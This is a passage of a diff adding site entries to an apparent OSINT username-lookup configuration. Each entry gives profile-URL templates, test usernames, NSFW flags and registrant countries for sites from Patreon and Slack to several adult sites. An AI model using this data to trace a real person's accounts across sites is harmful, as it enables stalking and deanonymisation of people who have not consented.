"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.nintendolife.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "notabug-org": { + "url": "https://notabug.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://notabug.org/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://notabug.org/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "NL" + } + }, + "nyaa-si": { + "url": "https://nyaa.si/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://nyaa.si/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://nyaa.si/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "si" + } + }, + "ogusers": { + "url": "https://ogu.gg/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ogu.gg/%s", + "existUsername": "ogusers", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ogu.gg/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + }, + "status": false + }, + "openstreetmap": { + "url": "https://www.openstreetmap.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.openstreetmap.org/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.openstreetmap.org/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "oraclecommunity": { + "url": "https://community.oracle.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.oracle.com/people/%s", + "existUsername": "dev", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.oracle.com/people/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "patreon": { + "url": "https://www.patreon.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.patreon.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.patreon.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "periscope": { + "url": "https://www.periscope.tv/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.periscope.tv/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.periscope.tv/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pinkbike": { + "url": "https://www.pinkbike.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.pinkbike.com/u/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.pinkbike.com/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "playstore": { + "url": "https://play.google.com/store", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://play.google.com/store/apps/developer?id=%s", + "existUsername": "Facebook", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://play.google.com/store/apps/developer?id=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pokemonshowdown": { + "url": "https://pokemonshowdown.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://pokemonshowdown.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pokemonshowdown.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "polarsteps": { + "url": "https://polarsteps.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://polarsteps.com/%s", + "existUsername": "james", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://polarsteps.com/%s", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "polygon": { + "url": "https://www.polygon.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.polygon.com/users/%s", + "existUsername": "swiftstickler", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.polygon.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pornhub": { + "url": "https://pornhub.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://pornhub.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pornhub.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "promodj": { + "url": "http://promodj.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://promodj.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://promodj.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "rajce-net": { + "url": "https://www.rajce.idnes.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.rajce.idnes.cz/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.rajce.idnes.cz/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "rateyourmusic": { + "url": "https://rateyourmusic.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://rateyourmusic.com/~%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://rateyourmusic.com/~%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "rcloneforum": { + "url": "https://forum.rclone.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.rclone.org/u/%s", + "existUsername": "ncw", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.rclone.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "redtube": { + "url": "https://www.redtube.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.redtube.com/users/%s", + "existUsername": "hacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.redtube.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "redbubble": { + "url": "https://www.redbubble.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.redbubble.com/people/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.redbubble.com/people/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "reisefrage": { + "url": "https://www.reisefrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.reisefrage.net/nutzer/%s", + "existUsername": "reisefrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.reisefrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "replit-com": { + "url": "https://replit.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://replit.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://replit.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "royalcams": { + "url": "https://royalcams.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://royalcams.com/profile/%s", + "existUsername": "asuna-black", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://royalcams.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "rumble": { + "url": "https://rumble.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://rumble.com/user/%s", + "existUsername": "John", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://rumble.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "swapd": { + "url": "https://swapd.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://swapd.co/u/%s", + "existUsername": "swapd", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://swapd.co/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "sbazar-cz": { + "url": "https://www.sbazar.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.sbazar.cz/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sbazar.cz/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "scratch": { + "url": "https://scratch.mit.edu/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://scratch.mit.edu/users/%s", + "existUsername": "griffpatch", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://scratch.mit.edu/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "shitpostbot5000": { + "url": "https://www.shitpostbot.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.shitpostbot.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.shitpostbot.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "shpock": { + "url": "https://www.shpock.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.shpock.com/shop/%s/items", + "existUsername": "user", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.shpock.com/shop/%s/items" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AT" + } + }, + "sketchfab": { + "url": "https://sketchfab.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://sketchfab.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://sketchfab.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "slack": { + "url": "https://slack.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.slack.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.slack.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "slant": { + "url": "https://www.slant.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.slant.co/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.slant.co/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "slideshare": { + "url": "https://slideshare.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://slideshare.net/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://slideshare.net/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "slides": { + "url": "https://slides.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://slides.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://slides.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "smugmug": { + "url": "https://smugmug.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.smugmug.com", + "existUsername": "winchester", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.smugmug.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "soundcloud": { + "url": "https://soundcloud.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://soundcloud.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://soundcloud.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "splice": { + "url": "https://splice.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://splice.com/%s", + "existUsername": "splice", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://splice.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "splits-io": { + "url": "https://splits.io", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://splits.io/users/%s", + "existUsername": "cambosteve", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://splits.io/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "sporcle": { + "url": "https://www.sporcle.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.sporcle.com/user/%s/people", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sporcle.com/user/%s/people" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "sportlerfrage": { + "url": "https://www.sportlerfrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.sportlerfrage.net/nutzer/%s", + "existUsername": "sportlerfrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sportlerfrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "sportsru": { + "url": "https://www.sports.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.sports.ru/profile/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sports.ru/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "tldrlegal": { + "url": "https://tldrlegal.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tldrlegal.com/users/%s/", + "existUsername": "kevin", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tldrlegal.com/users/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "traktrain": { + "url": "https://traktrain.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://traktrain.com/%s", + "existUsername": "traktrain", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://traktrain.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "tellonym-me": { + "url": "https://tellonym.me/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tellonym.me/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tellonym.me/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "tenor": { + "url": "https://tenor.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tenor.com/users/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tenor.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "themeforest": { + "url": "https://themeforest.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://themeforest.net/user/%s", + "existUsername": "user", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://themeforest.net/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "tnaflix": { + "url": "https://www.tnaflix.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.tnaflix.com/profile/%s", + "existUsername": "hacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.tnaflix.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CY" + } + }, + "tradingview": { + "url": "https://www.tradingview.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.tradingview.com/u/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.tradingview.com/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "trakt": { + "url": "https://www.trakt.tv/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.trakt.tv/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.trakt.tv/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "trashboxru": { + "url": "https://trashbox.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://trashbox.ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://trashbox.ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "trawelling": { + "url": "https://traewelling.de/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://traewelling.de/@%s", + "existUsername": "lassestolley", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://traewelling.de/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "tuna": { + "url": "https://tuna.voicemod.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tuna.voicemod.net/user/%s", + "existUsername": "bob", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tuna.voicemod.net/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "ES" + } + }, + "tweakers": { + "url": "https://tweakers.net", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tweakers.net/gallery/%s", + "existUsername": "femme", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tweakers.net/gallery/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "NL" + } + }, + "ultimate-guitar": { + "url": "https://ultimate-guitar.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ultimate-guitar.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": 